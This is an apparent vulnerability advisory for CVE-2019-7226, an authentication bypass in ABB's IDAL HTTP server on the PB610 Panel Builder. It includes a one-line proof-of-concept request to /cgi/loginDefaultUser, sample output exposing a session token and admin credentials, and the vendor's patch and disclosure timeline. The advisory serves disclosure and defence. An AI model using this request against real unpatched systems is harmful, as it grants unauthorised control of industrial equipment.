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ABB IDAL HTTP Server Authentication Bypass

ABB IDAL HTTP Server Authentication Bypass
Posted Jun 21, 2019
Authored by Eldar Marcussen

The IDAL HTTP server CGI interface contains a URL, which allows an unauthenticated attacker to bypass authentication and gain access to privileged functions. In the IDAL CGI interface, there is a URL (/cgi/loginDefaultUser), which will create a session in an authenticated state and return the session ID along with the username and plaintext password of the user. An attacker can then login with the provided credentials or supply the string 'IDALToken=......' in a cookie which will allow them to perform privileged operations such as restarting the service with /cgi/restart.

tags | exploit, web, cgi
advisories | CVE-2019-7226
MD5 | 859c2710995c4452403cd17e5573e137

ABB IDAL HTTP Server Authentication Bypass

Change Mirror Download
XL-19-010 - ABB IDAL HTTP Server Authentication Bypass Vulnerability
========================================================================

Identifiers
-----------
XL-19-010
CVE-2019-7226
ABBVU-IAMF-1902005


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server CGI interface contains a URL, which allows an unauthenticated attacker to bypass authentication and gain access to privileged functions.


Technical details
-----------------
In the IDAL CGI interface, there is a URL (/cgi/loginDefaultUser), which will create a session in an authenticated state and return the session ID along with the username and plaintext password of the user. An attacker can then login with the provided credentials or supply the string 'IDALToken=......' in a cookie which will allow them to perform privileged operations such as restarting the service with /cgi/restart.

Proof of concept
----------------
```
GET http://localhost:81/cgi/loginDefaultUser
````

1
#S_OK
IDALToken=532c8632b86694f0232a68a0897a145c
admin
adminpass

Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure


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